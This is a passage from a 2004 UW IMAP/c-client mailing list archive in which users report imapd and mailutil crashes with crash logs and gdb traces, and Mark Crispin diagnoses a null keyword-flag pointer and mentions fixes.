impersonation functionality which is actually quite different. Once again, the native Windows build knows about all of this, and does the right thing. As the author of UW imapd, I strongly recommend against using Cygwin as a platform for running it. Instead, you are best off running imapd on a real UNIX system. If you must use Windows, you are better off using the native build and dealing with the necessary customizations for your system, rather than hoping that Cygwin will do the right things for you. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 30 00:33:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Aug 2004 00:33:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U7X3f9026020 for ; Mon, 30 Aug 2004 00:33:03 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U7X2jc004391 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 30 Aug 2004 00:33:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7U7Vwlq012206; Mon, 30 Aug 2004 00:31:59 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U7UOK3094070 for ; Mon, 30 Aug 2004 00:30:24 -0700 Received: from huygens.rijnh.nl (huygens.rijnh.nl [192.42.124.30]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U7UMZb029187 for ; Mon, 30 Aug 2004 00:30:23 -0700 Received: from [192.42.125.42] (macntvn3.rijnh.nl [192.42.125.42]) by huygens.rijnh.nl (SGI-8.12.5/8.12.5) with ESMTP id i7U7V3Hh922693 for ; Mon, 30 Aug 2004 09:31:04 +0200 (MET_DST) Message-Id: <71E09ACB-FA56-11D8-9604-00039314A2A0@rijnh.nl> Date: Mon, 30 Aug 2004 09:30:19 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Beernd Noordkamp To: c-client@u.washington.edu Subject: imapd 2004a crashing frequently Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=WINDOWS-1252; delsp=yes; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __CTE 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all. Imapd (UW IMAP 2004a on MacOS 10.3.5) has been crashing a lot on me =20 lately: 343 times in eleven days. I'm not exactly sure what is going on =20= when this happens, because I hardly notice anything at all in the =20 client. In fact, this has been happening this often since I installed =20= 2004a; before that, I've had this problem only two times. Before 2004a =20= I used imap-2004a.DEV.SNAP-0405261606, which hasn't crashed once. The =20= crashlogs from crashreporterd look very similar, last time it read: > Host Name: iBook.local > Date/Time: 2004-08-29 14:53:17 +0200 > OS Version: 10.3.5 (Build 7M34) > Report Version: 2 > > Command: imapd > Path: /usr/local/sbin/imapd > Version: ??? (???) > PID: 20385 > Thread: 0 > > Exception: EXC_BAD_ACCESS (0x0001) > Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x00000000 > > Thread 0 Crashed: > 0 imapd 0x00045594 mbx_ping + 0x300 (mbx.c:778) > 1 imapd 0x00044c38 mbx_open + 0x294 (mbx.c:525) > 2 imapd 0x0001ba0c mail_open + 0x6f0 (mail.c:1206) > 3 imapd 0x000047b0 main + 0x2408 (imapd.c:809) > 4 imapd 0x00001e98 _start + 0x188 (crt.c:267) > 5 dyld 0x8fe1a558 _dyld_start + 0x64 > > PPC Thread State: > srr0: 0x00045594 srr1: 0x0000f030 vrsave: 0x00000000 > cr: 0x24000422 xer: 0x0000001a lr: 0x00045468 ctr: 0x90010400 > r0: 0x00045468 r1: 0xbfffe7d0 r2: 0x00000000 r3: 0x00000000 > r4: 0x00000000 r5: 0xbfffe1a0 r6: 0x0000002c r7: 0x00000c03 > r8: 0x00000000 r9: 0x00000000 r10: 0x018001c8 r11: 0x000b3e08 > r12: 0x90010400 r13: 0x00000001 r14: 0x000b4c5c r15: 0x000b23c4 > r16: 0x00000000 r17: 0x000b4c60 r18: 0x000c4cc0 r19: 0x000b4c70 > r20: 0xbfffff70 r21: 0x00000000 r22: 0xbfffff30 r23: 0x00000001 > r24: 0x00000000 r25: 0x00000000 r26: 0xbfffff2c r27: 0x00000005 > r28: 0x00000000 r29: 0x00000000 r30: 0x00402270 r31: 0x000452a8 > > Binary Images Description: > 0x1000 - 0xb1fff imapd imapd > 0x19f000 - 0x19ffff pam_securityserver.so =20 > /usr/lib/pam/pam_securityserver.so > 0x1a2000 - 0x1a2fff pam_unix.so /usr/lib/pam/pam_unix.so > 0x1a5000 - 0x1a5fff pam_deny.so /usr/lib/pam/pam_deny.so > 0x1ad000 - 0x1affff pam_netinfo.so = /usr/lib/pam/pam_netinfo.so > 0x8fe00000 - 0x8fe4ffff dyld /usr/lib/dyld > 0x90000000 - 0x90122fff libSystem.B.dylib = /usr/lib/libSystem.B.dylib > 0x90190000 - 0x9023dfff com.apple.CoreFoundation 6.3.4 =20 > (299.31) = /System/Library/Frameworks/CoreFoundation.framework/Versions/=20 > A/CoreFoundation > 0x90280000 - 0x904f9fff com.apple.CoreServices.CarbonCore =20 > 10.3.5 = /System/Library/Frameworks/CoreServices.framework/Versions/A/=20 > Frameworks/CarbonCore.framework/Versions/A/CarbonCore > 0x90570000 - 0x905dffff com.apple.framework.IOKit 1.3.5 =20 > (???) /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit > 0x907f0000 - 0x907f9fff com.apple.DiskArbitration =20 > 2.0.3 /System/Library/PrivateFrameworks/DiskArbitration.framework/=20 > Versions/A/DiskArbitration > 0x90d00000 - 0x90d1bfff com.apple.SystemConfiguration 1.7.1 =20 > (???) /System/Library/Frameworks/SystemConfiguration.framework/=20 > Versions/A/SystemConfiguration > 0x910b0000 - 0x91101fff com.apple.bom 1.2.5 =20 > (63.2) = /System/Library/PrivateFrameworks/Bom.framework/Versions/A/Bom > 0x920c0000 - 0x922a7fff com.apple.security 2.4 =20 > (177) /System/Library/Frameworks/Security.framework/Versions/A/=20 > Security > 0x939d0000 - 0x939d4fff libmathCommon.A.dylib =20 > /usr/lib/system/libmathCommon.A.dylib > 0x945b0000 - 0x945b9fff libz.1.dylib /usr/lib/libz.1.dylib > 0x968d0000 - 0x969b2fff libicucore.A.dylib = /usr/lib/libicucore.A.dylib > 0x96a20000 - 0x96ae2fff libcrypto.0.9.7.dylib =20 > /usr/lib/libcrypto.0.9.7.dylib > 0x96b40000 - 0x96b6efff libssl.0.9.7.dylib = /usr/lib/libssl.0.9.7.dylib > 0x96dc0000 - 0x96dd3fff libpam.1.dylib /usr/lib/libpam.1.dylib (Sorry about the large amount of data, I thought all of this might be =20= relevant.) I use mbx-mailboxes and compiled using make oxp SSLTYPE=3Dunix. I made a = =20 few small changes to the source code: =95 in src/osdep/unix/Makefile I changed > CREATEPROTO=3Dunixproto to > CREATEPROTO=3Dmbxproto =95 in src/osdep/unix/env_unix.c, I used the following alteration of =20 mymailboxdir(): > static char *mymailboxdir () > { > unsigned long flags; > char *user =3D myusername_full (&flags); > /* initialize if first time and logged = =20 > in */ > if (!myMailboxDir && !(flags & MU_NOTLOGGEDIN)) { > char tmp[MAILTMPLEN]; > sprintf (tmp,"/var/imap/%s",myusername ()); > myMailboxDir =3D cpystr (tmp);/* use subdirectory of /var/imap */ > } > return myMailboxDir ? myMailboxDir : ""; > } =95 in the same rc/osdep/unix/env_unix.c, I changed > static short hideDotFiles =3D NIL;/* hide files whose names start with = . =20 > */ to > static short hideDotFiles =3D T;/* hide files whose names start with . = */ I've used these changes for two years or so, and they've always worked =20= just fine. Should I provide any more information? Any ideas on what might be going wrong? Thanks a lot. Beernd Noordkamp= -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 30 01:21:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Aug 2004 01:21:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U8LIOR001118 for ; Mon, 30 Aug 2004 01:21:18 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U8LHn2005135 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 30 Aug 2004 01:21:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7U8K4e6013104; Mon, 30 Aug 2004 01:20:04 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U8IsAv056248 for ; Mon, 30 Aug 2004 01:18:54 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U8IpGt014284 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 30 Aug 2004 01:18:51 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U8IpU6031182; Mon, 30 Aug 2004 01:18:51 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7U8IpBr010970; Mon, 30 Aug 2004 01:18:51 -0700 Message-Id: Date: Mon, 30 Aug 2004 01:18:51 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Beernd Noordkamp Cc: c-client@u.washington.edu Subject: Re: imapd 2004a crashing frequently In-Reply-To: <71E09ACB-FA56-11D8-9604-00039314A2A0@rijnh.nl> References: <71E09ACB-FA56-11D8-9604-00039314A2A0@rijnh.nl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a known problem, and is fixed in the imap-2004b development snapshot. If it makes you feel any better, this crash only happens with a session which is already in the process of terminating; it doesn't affect an active session. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 30 17:15:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Aug 2004 17:15:37 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7V0FbZ2017698 for ; Mon, 30 Aug 2004 17:15:37 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7V0FaON013094 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 30 Aug 2004 17:15:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7V0E4MH014754; Mon, 30 Aug 2004 17:14:04 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7V0CSsD056202 for ; Mon, 30 Aug 2004 17:12:28 -0700 Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7V0CROr005915 for ; Mon, 30 Aug 2004 17:12:27 -0700 Received: from [192.168.1.10] (c-65-34-193-181.se.client2.attbi.com[65.34.193.181]) by comcast.net (rwcrmhc12) with SMTP id <20040831001227014008smlte>; Tue, 31 Aug 2004 00:12:27 +0000 Message-Id: Date: Mon, 30 Aug 2004 20:12:25 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Randall Perry To: Jim Seymour , WUImap Subject: Re: Using existing web server cert with ipop ssl In-Reply-To: <20040830010443.C14E6430E@jimsun.linxnet.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __NEW_DOMAIN_EXTENSIONS_2 0, EMAIL_ATTRIBUTION 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN on 8/29/04 9:04 PM, Jim Seymour at jseymour@linxnet.com wrote: > > So there you go, Randall, hope this helps. > > Jim Well that gives me something to chew on :) Thanks -- Randall Perry sysTame Xserve Web Hosting/Co-location Website Design/Development WebObjects Hosting Mac Consulting/Sales http://www.systame.com/ From pinedev@shivax2.cac.washington.edu Tue Aug 31 09:49:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 09:49:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VGnWgV030217 for ; Tue, 31 Aug 2004 09:49:32 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VGnVIG007630 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 09:49:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VGlZCi011472; Tue, 31 Aug 2004 09:47:36 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VGjwtX015062 for ; Tue, 31 Aug 2004 09:45:58 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VGjvt2018016 for ; Tue, 31 Aug 2004 09:45:57 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id i7VGjvO379638 for ; Tue, 31 Aug 2004 11:45:57 -0500 (CDT) Message-Id: Date: Tue, 31 Aug 2004 11:45:57 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Mooney To: c-client@u.washington.edu Subject: two mailutil segfaults with 2002e or 2004a MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, SIGNATURE_LONG_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! We're using (locally compiled) imapd and the mailutil that comes with it on several Red Hat Advanced Server 2.1 systems. These systems serve thousands of IMAP mail accounts, using mbx format folders. We have several local scripts that depend on mailutil. In particular, we use mailutil when we shuffle users between imap hosts, to balance the load on our systems. I recently had mailutil from the imap-2002e distribution segfault when doing a move for two separate folders, both owned by the same user. I've tried the move with the 2002e version on both RH AS 2.1 and on my Tru64 UNIX 5.1b workstation, and I've also tried the move on RH AS 2.1 with the 2004a mailutil. In all cases, mailutil coredumps in the same place. Here's a little example: $pwd /local/src/RPM/BUILD/imap-2004a/mailutil $ls -al ~/folders/ total 838 drwx------ 2 mooney sysadmin 1024 Aug 30 19:28 ./ drwxr-x--- 15 mooney sysadmin 1024 Aug 30 19:26 ../ -rw------- 1 mooney sysadmin 370479 Aug 27 15:36 MiscSaved -rw------- 1 mooney sysadmin 479202 Aug 27 14:50 auser $file ~/folders/* /home/mooney/folders/MiscSaved: MBX mail folder /home/mooney/folders/auser: MBX mail folder $./mailutil check folders/MiscSaved No new messages, 46 total in folders/MiscSaved $./mailutil check folders/auser No new messages, 127 total in folders/auser $gdb mailutil GNU gdb Red Hat Linux (5.3.90-0.20030710.41.2.1rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) set args move folders/MiscSaved MiscSaved (gdb) run Starting program: /usr/local/src/RPM/BUILD/imap-2004a/mailutil/mailutil move folders/MiscSaved MiscSaved Program received signal SIGSEGV, Segmentation fault. 0x0804ce2d in mm_append (stream=0x8115790, data=0xbffeaa90, flags=0xbffe98f0, date=0xbffe98f4, message=0xbffe98f8) at mailutil.c:488 488 if ((MAILTMPLEN - ((t += strlen (t)) - tmp)) > (long) (gdb) where #0 0x0804ce2d in mm_append (stream=0x8115790, data=0xbffeaa90, flags=0xbffe98f0, date=0xbffe98f4, message=0xbffe98f8) at mailutil.c:488 #1 0x0808db7e in mbx_append (stream=0x0, mailbox=0xbffed8f8 "MiscSaved", af=0x804cc7c , data=0xbffeaa90) at mbx.c:1074 #2 0x0805e594 in mail_append_multiple (stream=0x0, mailbox=0xbffed8f8 "MiscSaved", af=0x804cc7c , data=0xbffeaa90) at mail.c:2486 #3 0x0804cb66 in mbxcopy (source=0x80f3a48, dest=0x0, dst=0xbffed8f8 "MiscSaved", create=1, del=1, mode=0) at mailutil.c:435 #4 0x0804c076 in main (argc=4, argv=0xbffeb7d4) at mailutil.c:245 (gdb) print u $1 = 0 (gdb) print elt $2 = (MESSAGECACHE *) 0x8115100 (gdb) print *elt $3 = {msgno = 32, lockcount = 1, rfc822_size = 2593, private = {uid = 33, special = {offset = 328743, text = {data = 0x0, size = 55}}, msg = { env = 0x0, body = 0x0, full = {offset = 0, text = {data = 0x0, size = 0}}, lines = 0x0, header = {offset = 0, text = {data = 0x0, size = 0}}, text = {offset = 0, text = {data = 0x0, size = 0}}}, sequence = 0, dirty = 0, filter = 0, data = 0}, day = 4, month = 2, year = 33, hours = 8, minutes = 14, seconds = 57, zoccident = 1, zhours = 6, zminutes = 0, seen = 1, deleted = 0, flagged = 0, answered = 0, draft = 0, recent = 0, valid = 1, searched = 0, sequence = 1, spare = 0, spare2 = 0, spare3 = 0, spare4 = 0, spare5 = 0, spare6 = 0, spare7 = 0, spare8 = 0, sparep = 0x0, user_flags = 1} (gdb) (gdb) print t $4 = 0xbffe9486 "" (gdb) print tmp $5 = " \\Seen", '\0' The other core dump, on the `auser' folder, is very very similar: (gdb) set args move folders/auser auser (gdb) run Starting program: /usr/local/src/RPM/BUILD/imap-2004a/mailutil/mailutil move folders/auser auser Program received signal SIGSEGV, Segmentation fault. 0x0804ce2d in mm_append (stream=0x8117af8, data=0xbffec710, flags=0xbffeb570, date=0xbffeb574, message=0xbffeb578) at mailutil.c:488 488 if ((MAILTMPLEN - ((t += strlen (t)) - tmp)) > (long) (gdb) print t $1 = 0xbffeb110 "" (gdb) print tmp $2 = " \\Seen \\Answered", '\0' Other than providing a copy of the folders themselves, is there any additional information I could provide that would be useful in diagnosing what's going wrong here? Thanks, Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 31 14:11:54 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 14:11:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VLBsBE009484 for ; Tue, 31 Aug 2004 14:11:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VLBrWP023618 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 14:11:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VKoeeL005288; Tue, 31 Aug 2004 13:50:40 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VKnTZv068070 for ; Tue, 31 Aug 2004 13:49:29 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VKnR3C024548 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 13:49:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VKnQgB030918; Tue, 31 Aug 2004 13:49:26 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VKnQJa016844 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 31 Aug 2004 13:49:26 -0700 Message-Id: Date: Tue, 31 Aug 2004 13:49:26 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Mooney Cc: c-client@u.washington.edu Subject: Re: two mailutil segfaults with 2002e or 2004a In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In one of those crashes, what is in ap->stream->user_flags[0] ? My guess is that it is a null pointer, and that somehow a keyword flag got set in the message without any keywords being defined. If, in fact, that is the case, I'll send you a patch. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 31 15:05:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 15:05:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM5e6Y011897 for ; Tue, 31 Aug 2004 15:05:40 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM5bxF026529 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 15:05:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VM4MmY016726; Tue, 31 Aug 2004 15:04:22 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM3AKD029662 for ; Tue, 31 Aug 2004 15:03:10 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM37LB008796 for ; Tue, 31 Aug 2004 15:03:07 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id i7VM37g131836 for ; Tue, 31 Aug 2004 17:03:07 -0500 (CDT) Message-Id: Date: Tue, 31 Aug 2004 17:03:07 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Mooney To: c-client@u.washington.edu Subject: Re: two mailutil segfaults with 2002e or 2004a In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=XIIIIIIII, Probability=18%, Report='OBFU_CLASS_OTHER_LOW 2, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __C230066_P5 0, __HAS_MSGID 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In regard to: Re: two mailutil segfaults with 2002e or 2004a, Mark Crispin...: > In one of those crashes, what is in ap->stream->user_flags[0] ? > > My guess is that it is a null pointer, and that somehow a keyword flag got set > in the message without any keywords being defined. > > If, in fact, that is the case, I'll send you a patch. That is in fact the case, for both folders: (gdb) run Starting program: /usr/local/src/RPM/BUILD/imap-2004a/mailutil/mailutil move folders/auser auser Program received signal SIGSEGV, Segmentation fault. 0x402594f1 in strlen () from /lib/i686/libc.so.6 (gdb) where #0 0x402594f1 in strlen () from /lib/i686/libc.so.6 #1 0x0804d680 in mm_append (stream=0x8132738, data=0xbffeb8c0, flags=0xbffeb3b0, date=0xbffeb3ac, message=0xbffea710) at mailutil.c:488 #2 0x0809f569 in mbx_append (stream=0x0, mailbox=0xbffed8fb "auser", af=0x804d464 , data=0xbffeb8c0) at mbx.c:1074 #3 0x080618f2 in mail_append_multiple (stream=0x0, mailbox=0xbffed8fb "auser", af=0x804d464 , data=0xbffeb8c0) at mail.c:2486 #4 0x0804d324 in mbxcopy (source=0x810e688, dest=0x0, dst=0xbffed8fb "auser", create=1, del=1, mode=0) at mailutil.c:435 #5 0x0804c45e in main (argc=4, argv=0xbffec654) at mailutil.c:233 (gdb) up #1 0x0804d680 in mm_append (stream=0x8132738, 